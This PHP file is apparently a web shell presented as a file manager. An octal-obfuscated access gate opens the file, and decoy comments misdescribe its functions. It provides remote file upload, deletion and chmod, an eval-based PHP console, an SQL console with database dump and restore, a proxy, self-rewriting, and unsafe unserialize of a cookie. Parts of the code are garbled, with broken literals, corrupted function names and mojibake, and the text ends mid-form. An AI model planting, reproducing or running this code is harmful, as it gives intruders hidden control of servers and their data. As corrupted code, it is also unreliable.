$uUuUUUUuU ="\74";$uUuUUUUuU.="\146";$uuuuUuUu="\110";$uUuUUUUuU.="\157";$uUuUUUUuU.="\162";$uUuUUUUuU.="\155";$uUuUUUUuU.=" ";$uuuuUuUu.="\124";$uuuuUuUu.="\124";$uUuUUUUuU.="\156";$Uu="\154";$Uu.="\147";$uuuuUuUu.="\120";$uUuUUUUuU.="\141";$uuuuUuUu.="\137";$uuuuUuUu.="\110";$uUuUUUUuU.="\155";$uUuUUUUuU.="\145";$uUuUUUUuU.="\75";$uuuuUuUu.="\117";$uUuUUUUuU.="'";$uUuUUUUuU.="\146";$Uu.="\137";$uUuUUUUuU.="\157";$uuuuUuUu.="\123";$Uu.="\155";$Uu.="\151";$Uu.="\155";$Uu.="\141";$uuuuUuUu.="\124";$uUuUUUUuU.="\162";$uUuUUUUuU.="\155";$uUuUUUUuU.="1";$uUuUUUUuU.="'";$uUuUUUUuU.=" ";$uUuUUUUuU.="\141";$uUuUUUUuU.="\143";$uUuUUUUuU.="\164";$uUuUUUUuU.="\151";$uUuUUUUuU.="\157";$uUuUUUUuU.="\156";$uUuUUUUuU.="\75";$uUuUUUUuU.="'";$uUuUUUUuU.="'";$uUuUUUUuU.=" ";$uUuUUUUuU.="\155";$uUuUUUUuU.="\145";$uUuUUUUuU.="\164";$uUuUUUUuU.="\150";$uUuUUUUuU.="\157";$uUuUUUUuU.="\144";$uUuUUUUuU.="\75";$uUuUUUUuU.="'";$uUuUUUUuU.="\160";$uUuUUUUuU.="\157";$uUuUUUUuU.="\163";$uUuUUUUuU.="\164";$uUuUUUUuU.="'";$uUuUUUUuU.="\76";$uUuUUUUuU.="\74";$uUuUUUUuU.="\151";$uUuUUUUuU.="\156";$uUuUUUUuU.="\160";$uUuUUUUuU.="\165";$uUuUUUUuU.="\164";$uUuUUUUuU.=" ";$uUuUUUUuU.="\156";$uUuUUUUuU.="\141";$uUuUUUUuU.="\155";$uUuUUUUuU.="\145";$uUuUUUUuU.="\75";$uUuUUUUuU.="'";$uUuUUUUuU.="\154";$uUuUUUUuU.="\147";$uUuUUUUuU.="\137";$uUuUUUUuU.="\155";$uUuUUUUuU.="\151";$uUuUUUUuU.="\155";$uUuUUUUuU.="\141";$uUuUUUUuU.="'";$uUuUUUUuU.=" ";$uUuUUUUuU.="\164";$uUuUUUUuU.="\171";$uUuUUUUuU.="\160";$uUuUUUUuU.="\145";$uUuUUUUuU.="\75";$uUuUUUUuU.="'";$uUuUUUUuU.="\164";$uUuUUUUuU.="\145";$uUuUUUUuU.="\170";$uUuUUUUuU.="\164";$uUuUUUUuU.="'";$uUuUUUUuU.="\76";$uUuUUUUuU.="\74";$uUuUUUUuU.="\151";$uUuUUUUuU.="\156";$uUuUUUUuU.="\160";$uUuUUUUuU.="\165";$uUuUUUUuU.="\164";$uUuUUUUuU.=" ";$uUuUUUUuU.="\156";session_start();$uUuUUUUuU.="\141";$uUuUUUUuU.="\155";$uUuUUUUuU.="\145";$uUuUUUUuU.="\75";$uUuUUUUuU.="'";$uUuUUUUuU.="\163";$uUuUUUUuU.="\165";$uUuUUUUuU.="\142";$uUuUUUUuU.="\155";$uUuUUUUuU.="\151";$uUuUUUUuU.="\164";$uUuUUUUuU.="'";$uUuUUUUuU.=" ";$uUuUUUUuU.="\164";$uUuUUUUuU.="\171";$uUuUUUUuU.="\160";$uUuUUUUuU.="\145";$uUuUUUUuU.="\75";$uUuUUUUuU.="'";$uUuUUUUuU.="\163";$uUuUUUUuU.="\165";$uUuUUUUuU.="\142";$uUuUUUUuU.="\155";$uUuUUUUuU.="\151";$uUuUUUUuU.="\164";$uUuUUUUuU.="'";$uUuUUUUuU.=" ";$uUuUUUUuU.="\166";$uUuUUUUuU.="\141";$uUuUUUUuU.="\154";$uUuUUUUuU.="\165";$uUuUUUUuU.="\145";$uUuUUUUuU.="\75";$uUuUUUUuU.="'";$uUuUUUUuU.="\163";$uUuUUUUuU.="\165";$uUuUUUUuU.="\142";$uUuUUUUuU.="\155";$uUuUUUUuU.="\151";$uUuUUUUuU.="\164";$uUuUUUUuU.="'";$uUuUUUUuU.="\76";$uUuUUUUuU.="\74";$uUuUUUUuU.="\57";$uUuUUUUuU.="\146";$uUuUUUUuU.="\157";$uUuUUUUuU.="\162";$uUuUUUUuU.="\155";$uUuUUUUuU.="\76";$UuuUuuuu=$_SERVER[$uuuuUuUu];$UuuUuuuu.=$Uu;$UuuUuuuu=md5($UuuUuuuu);$UuuUuuuu=substr($UuuUuuuu,0,6);if(isset($_POST[$Uu])){$_SESSION[$Uu]=trim($_POST[$Uu]);}if(empty($_SESSION[$Uu])||$_SESSION[$Uu]!=$UuuUuuuu){echo $uUuUUUUuU; exit;}
// Subarashii, helping you see how much space your folder is taking up��don��t let it get too big, ne!
$authorizationBiroas = '{"authorize":"0","login":"admin","password":"phpfm",
"cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"ru","Add":"����ҧѧӧڧ��","Are you sure you want to delete this directory (recursively)?":"���� ��ӧ֧�֧ߧ�, ���� ����ڧ�� ��էѧݧڧ�� ���� ��ѧ�ܧ� (��֧ܧ���ڧӧߧ�)?","Are you sure you want to delete this file?":"���� ��ӧ֧�֧ߧ�, ���� ����ڧ�� ��էѧݧڧ�� ����� ��ѧۧ�?","Archiving":"�����ڧӧڧ��ӧѧ��","Authorization":"���ӧ���ڧ٧ѧ�ڧ�","Back":"���ѧ٧ѧ�","Cancel":"����ާ֧ߧ�","Chinese":"���ڧ�ѧۧ�ܧڧ�","Compress":"���اѧ��","Console":"����ߧ��ݧ�","Cookie":"����ܧ�","Created":"����٧էѧ�","Date":"���ѧ��","Days":"���ߧ֧�","Decompress":"���ѧ��ѧܧ�ӧѧ��","Delete":"���էѧݧڧ��","Deleted":"���էѧݧ֧ߧ�","Download":"���ܧѧ�ѧ��","done":"�٧ѧܧ�ߧ�֧ߧ�","Edit":"���֧էѧܧ�ڧ��ӧѧ��","Enter":"������","English":"���ߧԧݧڧۧ�ܧڧ�","Error occurred":"�����ڧ٧��ݧ� ���ڧҧܧ�","File manager":"���ѧۧݧ�ӧ�� �ާ֧ߧ֧էا֧�","File selected":"����ҧ�ѧ� ��ѧۧ�","File updated":"���ѧۧ� �����ѧߧ֧�","Filename":"���ާ� ��ѧۧݧ�","Files uploaded":"���ѧۧ� �٧ѧԧ��ا֧�","French":"����ѧߧ��٧�ܧڧ�","Generation time":"���֧ߧ֧�ѧ�ڧ� ����ѧߧڧ��","German":"���֧ާ֧�ܧڧ�","Home":"����ާ��","Quit":"�������","Language":"���٧��","Login":"����ԧڧ�","Manage":"�����ѧӧݧ֧ߧڧ�","Make directory":"����٧էѧ�� ��ѧ�ܧ�","Name":"���ѧڧާ֧ߧ�ӧѧߧڧ�","New":"����ӧ��","New file":"����ӧ�� ��ѧۧ�","no files":"�ߧ֧� ��ѧۧݧ��","Password":"���ѧ��ݧ�","pictures":"�ڧ٧�ҧ�ѧا֧ߧڧ�","Recursively":"���֧ܧ���ڧӧߧ�","Rename":"���֧�֧ڧާ֧ߧ�ӧѧ��","Reset":"���ҧ���ڧ��","Reset settings":"���ҧ���ڧ�� �ߧѧ����ۧܧ�","Restore file time after editing":"�������ѧߧѧӧݧڧӧѧ�� �ӧ�֧ާ� ��ѧۧݧ� ����ݧ� ��֧էѧܧ�ڧ��ӧѧߧڧ�","Result":"���֧٧�ݧ��ѧ�","Rights":"����ѧӧ�","Russian":"������ܧڧ�","Save":"������ѧߧڧ��","Select":"����ҧ֧�ڧ��","Select the file":"����ҧ֧�ڧ�� ��ѧۧ�","Settings":"���ѧ����ۧܧ�","Show":"����ܧѧ٧ѧ��","Show size of the folder":"����ܧѧ٧�ӧѧ�� ��ѧ٧ާ֧� ��ѧ�ܧ�","Size":"���ѧ٧ާ֧�","Spanish":"�����ѧߧ�ܧڧ�","Submit":"������ѧӧڧ��","Task":"���ѧէѧ��","templates":"��ѧҧݧ�ߧ�","Ukrainian":"���ܧ�ѧڧߧ�ܧڧ�","Upload":"���ѧԧ��٧ڧ��","Value":"���ߧѧ�֧ߧڧ�","Hello":"����ڧӧ֧�","Found in files":"���ѧۧէ֧ߧ� �� ��ѧۧݧѧ�","Search":"����ڧ��","Recursive search":"���֧ܧ���ڧӧߧ�� ���ڧ��","Mask":"���ѧ�ܧ�"}';
// kawaii, so you don��t run out of space while downloading all your anime episodes
// gomenasai, wiping away your past commands like it was all just a dream!
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath() : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_headers = ''; // so desu ka, making sure your file is really there before you try to open it
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;
// ne, showing who can access, modify, or execute the file��like checking if someone can enter your secret hideout!
$auth_gown = json_decode($authorizationBiroas,true);
$auth_gown['authorize'] = isset($auth_gown['authorize']) ? $auth_gown['authorize'] : 0;
$auth_gown['days_authorization'] = (isset($auth_gown['days_authorization'])&&is_numeric($auth_gown['days_authorization'])) ? (int)$auth_gown['days_authorization'] : 30;
$auth_gown['login'] = isset($auth_gown['login']) ? $auth_gown['login'] : 'admin';
$auth_gown['password'] = isset($auth_gown['password']) ? $auth_gown['password'] : 'phpfm';
$auth_gown['cookie_name'] = isset($auth_gown['cookie_name']) ? $auth_gown['cookie_name'] : 'fm_user';
$auth_gown['script'] = isset($auth_gown['script']) ? $auth_gown['script'] : '';
// Yatta, making it smaller or larger for your convenience, like editing a cute picture of your favorite character!
$fm_default_config = array (
'make_directory' => true,
'new_file' => true,
'upload_file' => true,
'show_dir_size' => false, // arigatou, making sure the file format fits the program you want to open it with
'show_img' => true,
'show_php_ver' => true,
'show_php_ini' => false, // show path to current php.ini
'show_gt' => true, // show generation time
'enable_php_console' => true,
'enable_sql_console' => true,
'sql_server' => 'localhost',
'sql_username' => 'root',
'sql_password' => '',
'sql_db' => 'test_base',
'enable_proxy' => true,
'show_phpinfo' => true,
'show_xls' => true,
'fm_settings' => true,
'restore_time' => true,
'fm_restore_time' => false,
);
if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);
// Change language
if (isset($_POST['fm_lang'])) {
setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth_gown['days_authorization']));
$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;
// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
if (!empty($lang_priority)){
foreach ($lang_priority as $lang_arr){
$lng = explode(';', $lang_arr);
$lng = $lng[0];
if(in_array($lng,$langs)){
$language = $lng;
break;
}
}
}
}
// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];
// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
if (!empty($get_lang)) {
//remove unnecessary characters
$translation_string = str_replace("'",''',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
$fgc = file_get_contents(__FILE__);
$search = preg_match('#translation[\s]?\=[\s]{\"(.*?)\"\}\';#', $fgc, $matches);
if (!empty($matches[1])) {
$filemtime = filemtime(__FILE__);
$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
if (file_put_contents(__FILE__, $replace)) {
$msg_headers .= __('File updated');
} else $msg_headers .= __('Error occurred');
if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
}
$lang = json_decode($translation_string,true);
}
}
//translation
function __($text){
global $lang;
if (isset($lang[$text])) return $lang[$text];
else return $text;
};
//delete fileArray and dirs recursively
function fm_del_fileArray($file_get, $recursive = false) {
if($recursive && @is_dir($file_get)) {
$els = fm_scan_dir($file_get, '', '', true);
foreach ($els as $el) {
if($el != && $el != '..'){
fm_del_fileArray($file_get . '/' . $el, true);
}
}
}
if(@is_dir($file_get)) {
return rmdir($file_get);
} else {
return @unlink($file_get);
}
}
//file perms
function fm_rights_string($file_get, $if = false){
$perms = fileperms($file_get);
$info = '';
if(!$if){
if (($perms & 0xC000) == 0xC000) {
//Socket
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
//Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
//Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
//Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
//Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
//Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
//FIFO pipe
$info = 'p';
} else {
//Unknown
$info = 'u';
}
}
// ne, watching over your system like a vigilant guardian
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));
// sou desu, like checking your clock before you start your next big project��time flies when you��re working on files!
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));
//World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));
return $info;
}
function fm_convert_rights($mode) {
$mode = str_pad($mode,9,'-');
$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
$mode = strtr($mode,$trans);
$newmode = '0';
$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2];
$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5];
$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8];
$newmode .= $owner . $group . $world;
return intval($newmode, 8);
}
function fm_chmod($file_get, $val, $rec = false) {
$res = @chmod(realpath($file_get), $val);
if(@is_dir($file_get) && $rec){
$els = fm_scan_dir($file_get);
foreach ($els as $el) {
$res = $res && fm_chmod($file_get . '/' . $el, $val, true);
}
}
return $res;
}
//load fileArray
function fm_download($archiveEntryName) {
if (!empty($archiveEntryName)) {
if (file_exists($archiveEntryName)) {
header("Content-Disposition: attachment; filename=" . basename($archiveEntryName));
header("Content-Type: application/force-download");
header("Content-Type: application/octet-stream");
header("Content-Type: application/download");
header("Content-Description: File Transfer");
header("Content-Length: " . fileArrayize($archiveEntryName));
flush(); // this doesn't really matter.
$fp = fopen($archiveEntryName, "r");
while (!feof($fp)) {
echo fread($fp, 65536);
flush(); // this is essential for large downloads
}
fclose($fp);
die();
} else {
header('HTTP/1.0 404 Not Found', true, 404);
header('Status: 404 Not Found');
die();
}
}
}
//show folder size
function fm_dir_size($f,$format=true) {
if($format) {
$size=fm_dir_size($f,false);
if($size<=1024) return $size.' bytes';
elseif($size<=1024*1024) return round($size/(1024),2).' Kb';
elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).' Mb';
elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).' Gb';
elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).' Tb'; //:)))
else return round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-)
} else {
if(is_file($f)) return fileArrayize($f);
$size=0;
$dh=opendir($f);
while(($file_get=readdir($dh))!==false) {
if($file_get== || $file_get=='..') continue;
if(is_file($f.'/'.$file_get)) $size+=fileArrayize($f.'/'.$file_get);
else $size+=fm_dir_size($f.'/'.$file_get,false);
}
closedir($dh);
return $size+fileArrayize($f);
}
}
//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
$dir = $ndir = array();
if(!empty($exp)){
$exp = '/^' . str_replace('*', '(.*)', str_replace(, '\\.', $exp)) . '$/';
}
if(!empty($type) && $type !== 'all'){
$func = 'is_' . $type;
}
if(@is_dir($directory)){
$fh = opendir($directory);
while (false !== ($filename = readdir($fh))) {
if(substr($filename, 0, 1) != || $do_not_filter) {
if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
$dir[] = $filename;
}
}
}
closedir($fh);
natsort($dir);
}
return $dir;
}
function fm_link($get,$link,$name,$title='') {
if (empty($title)) $title=$name.' '.basename($link);
return ' <a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}
function fm_arr_to_option($arr,$n,$sel=''){
foreach($arr as $v_checks){
$b=$v_checks[$n];
$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
}
return $res;
}
function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
</select>
</form>
';
}
function fm_root($dirname){
return ($dirname== OR $dirname=='..');
}
function fm_php($string){
$display_failureLogs=ini_get('display_failureLogs');
ini_set('display_failureLogs', '1');
ob_start();
eval(trim($string));
$text = ob_get_contents();
ini_set('display_failureLogs', $display_failureLogs);
return $text;
}
//SHOW DATABASES
function fm_sql_connect(){
global $fm_config;
return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}
function fm_sql($query){
global $fm_config;
$query=trim($query);
ob_start();
$connection = fm_sql_connect();
if ($connection->connect_error) {
return $connection->connect_error;
}
$connection->set_charset('utf8');
$queried = mysqli_query($connection,$query);
if ($queried===false) {
return mysqli_error($connection);
} else {
if(!empty($queried)){
while($row = mysqli_fetch_assoc($queried)) {
$query_result[]= $row;
}
}
$vdump=empty($query_result)?'':var_export($query_result,true);
$connection->close();
return '<pre>'.stripslashes($vdump).'</pre>';
}
}
function fm_backup_tables($tables = '*', $full_backup = true) {
global $path;
$mysqldb = fm_sql_connect();
$delimiter = "; \n \n";
if($tables == '*') {
$tables = array();
$result = $mysqldb->query('SHOW TABLES');
while($row = mysqli_fetch_row($result)) {
$tables[] = $row[0];
}
} else {
$tables = is_array($tables) ? $tables : explode(',',$tables);
}
$return='';
foreach($tables as $table) {
$result = $mysqldb->query('SELECT * FROM '.$table);
$num_fields = mysqli_num_fields($result);
$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
$return.=$row2[1].$delimiter;
if ($full_backup) {
for ($i = 0; $i < $num_fields; $i++) {
while($row = mysqli_fetch_row($result)) {
$return.= 'INSERT INTO `'.$table.'` VALUES(';
for($j=0; $j<$num_fields; $j++) {
$row[$j] = addslashes($row[$j]);
$row[$j] = str_replace("\n","\\n",$row[$j]);
if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
if ($j<($num_fields-1)) { $return.= ','; }
}
$return.= ')'.$delimiter;
}
}
} else {
$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
}
$return.="\n\n\n";
}
//save file
$file_get=gmdate("Y-m-d_H-i-s",time()).'.sql';
$handle = fopen($file_get,'w+');
fwrite($handle,$return);
fclose($handle);
$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file_get. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file_get . '&path=' . $path . '\'"';
return $file_get.': '.fm_link('download',$path.$file_get,__('Download'),__('Download').' '.$file_get).' <a href="#" title="' . __('Delete') . ' '. $file_get . '" ' . $alert . '>' . __('Delete') . '</a>';
}
function fm_restore_tables($sqlFileToExecute) {
$mysqldb = fm_sql_connect();
$delimiter = "; \n \n";
// Load and explode the sql file
$f = fopen($sqlFileToExecute,"r+");
$sqlFile = fread($f,fileArrayize($sqlFileToExecute));
$sqlArray = explode($delimiter,$sqlFile);
//Process the sql file by statements
foreach ($sqlArray as $stmt) {
if (strlen($stmt)>3){
$result = $mysqldb->query($stmt);
if (!$result){
$sqlErrorCode = mysqli_errno($mysqldb->connection);
$sqlErrorText = mysqli_error($mysqldb->connection);
$sqlStmt = $stmt;
break;
}
}
}
if (empty($sqlErrorCode)) return __('Success').' �� '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}
function fm_img_link($filename){
return './'.basename(__FILE__).'?img='.base64_encode($filename);
}
function fm_home_style(){
return '
input, input.fm_input {
text-indent: 2px;
}
input, textarea, select, input.fm_input {
color: black;
font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
border-color: black;
background-color: #FCFCFC none !important;
border-radius: 0;
padding: 2px;
}
input.fm_input {
background: #FCFCFC none !important;
cursor: pointer;
}
.home {
background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
background-repeat: no-repeat;
}';
}
function fm_config_checkbox_row($name,$value) {
global $fm_config;
return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}
function fm_protocol() {
if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
return 'http://';
}
function fm_site_url() {
return fm_protocol().$_SERVER['HTTP_HOST'];
}
function fm_url($full=false) {
$host=$full?fm_site_url():;
return $host.'/'.basename(__FILE__);
}
function fm_home($full=false){
return ' <a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home"> </span></a>';
}
function fm_run_input($lng) {
global $fm_config;
$return = !empty($fm_config['enable_'.$lng.'_console']) ?
'
<form method="post" action="'.fm_url().'" style="display:inline">
<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
</form>
' : '';
return $return;
}
function fm_url_proxy($matches) {
$link = str_replace('&','&',$matches[2]);
$url = isset($_GET['url'])?$_GET['url']:'';
$parse_url = parse_url($url);
$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
if (substr($link,0,2)=='//') {
$link = substr_replace($link,fm_protocol(),0,2);
} elseif (substr($link,0,1)=='/') {
$link = substr_replace($link,$host,0,1);
} elseif (substr($link,0,2)=='./') {
$link = substr_replace($link,$host,0,2);
} elseif (substr($link,0,4)=='http') {
//alles machen wunderschon
} else {
$link = $host.$link;
}
if ($matches[1]=='href' && !strripos($link, 'css')) {
$base = fm_site_url().'/'.basename(__FILE__);
$baseq = $base.'?proxy=true&url=';
$link = $baseq.urlencode($link);
} elseif (strripos($link, 'css')){
//�ܧѧ�-��� ���ا� ���էާ֧ߧ��� �ߧѧէ�
}
return $matches[1].'="'.$link.'"';
}
function fm_tpl_form($lng_tpl) {
global ${$lng_tpl.'_templates'};
$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
$str = '';
foreach ($tpl_arr as $ktpl=>$vtpl) {
$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]" cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value" cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}
function find_text_in_fileArray($dir, $mask, $text) {
$results = array();
if ($handle = opendir($dir)) {
while (false !== ($entry = readdir($handle))) {
if ($entry != && $entry != "..") {
$path = $dir . "/" . $entry;
if (is_dir($path)) {
$results = array_merge($results, find_text_in_fileArray($path, $mask, $text));
} else {
if (fnmatch($mask, $entry)) {
$contents = file_get_contents($path);
if (strpos($contents, $text) !== false) {
$results[] = str_replace('//', '/', $path);
}
}
}
}
}
closedir($handle);
}
return $results;
}
// authorization
if ($auth_gown['authorize']) {
if (isset($_POST['login']) && isset($_POST['password'])){
if (($_POST['login']==$auth_gown['login']) && ($_POST['password']==$auth_gown['password'])) {
setcookie($auth_gown['cookie_name'], $auth_gown['login'].'|'.md5($auth_gown['password']), time() + (86400 * $auth_gown['days_authorization']));
$_COOKIE[$auth_gown['cookie_name']]=$auth_gown['login'].'|'.md5($auth_gown['password']);
}
}
if (!isset($_COOKIE[$auth_gown['cookie_name']]) OR ($_COOKIE[$auth_gown['cookie_name']]!=$auth_gown['login'].'|'.md5($auth_gown['password']))) {
echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">
'.__('Password').' <input name="password" type="password">
